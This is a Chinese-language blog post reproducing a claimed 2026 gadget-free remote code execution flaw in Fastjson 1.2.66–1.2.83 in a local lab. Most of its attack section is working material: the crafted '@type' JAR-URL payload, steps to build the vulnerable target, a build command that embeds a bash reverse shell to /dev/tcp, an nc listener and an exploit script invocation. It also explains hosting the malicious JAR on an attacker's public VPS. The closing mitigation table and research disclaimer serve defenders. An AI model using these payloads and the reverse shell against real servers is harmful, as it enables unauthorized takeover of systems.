云计算百科
云计算领域专业知识百科平台

Fastjson 1.2.83 远程代码执行漏洞(无 Gadget)复现

漏洞概述

2026年7月,安全研究人员披露了 Fastjson 1.2.83 及之前版本中存在一个无需依赖任何第三方类库(Gadget) 的远程代码执行漏洞。攻击者只需发送一条特制的 JSON Payload,即可在目标服务器上执行任意命令。该漏洞影响 Fastjson 1.2.66 ~ 1.2.83,即使在 autoTypeSupport 默认关闭的情况下也可触

影响版本

  • Fastjson 1.2.66 – 1.2.83

  • JDK 8 环境(JDK 9+ 可能仅触发 SSRF)

  • 部署方式:Spring Boot FatJar(使用 LaunchedURLClassLoader)

漏洞原理简析

Fastjson 在处理 @type 字段时,会调用 checkAutoType 方法尝试加载类。攻击者可以构造一个特殊的 @type 值,例如:

jar:http:..2130706433:19090.probe!.POC

其中 2130706433 是 127.0.0.1 的十进制整数表示(用于绕过点号替换逻辑)。Fastjson 会将该值转换为 JAR URL:

jar:http://127.0.0.1:19090/probe!/POC.class

在 Spring Boot 的 LaunchedURLClassLoader 环境下,该 URL 会被解析并远程加载一个恶意 JAR 包。JAR 包中的静态代码块(<clinit>)会在类加载时自动执行,从而实现任意代码执行。

实验环境

角色系统软件版本
靶机 Ubuntu Linux(虚拟机) JDK 8u492、Maven 3.6+、Spring Boot FatJar
攻击机 同一台虚拟机(本地回环) Python 3、nc
漏洞组件 Fastjson 1.2.83 靶场项目 fastjson-1.2.83-rce

注:为简化实验,攻击机与靶机位于同一台机器(127.0.0.1),网络互通。

复现步骤

1.部署fastjson服务靶场

确认 JDK 版本为 1.8、安装Maven(如未安装):

java -version
# openjdk version "1.8.0_492"
sudo apt install maven -y

克隆靶场项目并编译:

git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce
mvn clean package -DskipTests

启动靶场(默认监听 18080 端口):看到 Started Application 即表示成功

java -jar target/fastjson-rce-env-1.0.0.jar

2.攻击机生成恶意 JAR 并启动 HTTP 服务(本实验用的是同一台虚拟机)

新开一个终端,进入项目目录,运行 build.sh 生成包含反弹 Shell 命令的 probe.jar:

  • 编译一个包含静态代码块的 Java 类,执行指定的命令;

  • 打包为 probe.jar;

  • 自动在 19090 端口启动 Python HTTP 服务器,托管该 JAR 文件。

bash scripts/build.sh 127.0.0.1 19090 "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

注意:在实际攻防场景中,如果靶机是公网 IP,攻击者需要在自己的 VPS(公网服务器)上运行这个 HTTP 服务,然后让靶机来自己的 VPS 下载恶意 JAR

监听反弹 Shell,发送攻击 Payload:

脚本会自动:

  • 启动 HTTP 服务器(若未启动);

  • 向 http://127.0.0.1:18080/parse 发送如下 Payload:

  • {"@type": "jar:http:..2130706433:19090.probe!.POC", "x": 1}

nc -lvnp 4444
#继续在攻击终端执行 exploit.py,向靶场发送恶意 JSON
python3 poc/exploit.py 127.0.0.1 19090 http://127.0.0.1:18080

执行后,靶场返回 200 OK,且攻击终端的 HTTP 服务器日志中会看到 GET /probe 请求,表明 JAR 已被成功下载并加载

3.验证命令执行

此时,nc 监听终端应显示 Connection received,并进入交互式 Shell。执行任意命令验证:

id pwd whoami ll..

若看到上述输出,说明 RCE 成功,已获取目标服务器的 root 权限。

修复建议

措施说明
立即启用 SafeMode ParserConfig.getGlobalInstance().setSafeMode(true); 或 JVM 参数 -Dfastjson.parser.safeMode=true
升级到 Fastjson 2.x 官方已停止维护 1.x,2.x 版本重构了安全机制
使用第三方 WAF 可临时拦截包含 @type 中 jar: 协议的请求

总结

本次复现验证了 Fastjson 1.2.83 的“无 Gadget”RCE 漏洞。攻击者仅需一条 JSON Payload 即可在满足特定条件(JDK 8 + Spring Boot FatJar)的服务器上执行任意命令。该漏洞危害极大,建议使用 Fastjson 1.x 的用户立即采取缓解措施。

⚠️ 声明:本文内容仅供安全研究和授权测试使用,严禁用于非法目的。

 POC参考链接

0x7eTeam/fastjson-1.2.83-rce: Fastjson 1.2.68 ~ 1.2.83 RCE

ThanatosXingYu/2026FastjsonPoC: 【已复现】Fastjson 1.2.66–1.2.83 JsonType 纯库一键 RCE(AutoType 关闭仍可利用;完整 RCE 需 JDK8 + Spring Boot LaunchedURLClassLoader)。仅限授权安全研究与本地防御验证。

赞(0)
未经允许不得转载:网硕互联帮助中心 » Fastjson 1.2.83 远程代码执行漏洞(无 Gadget)复现
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!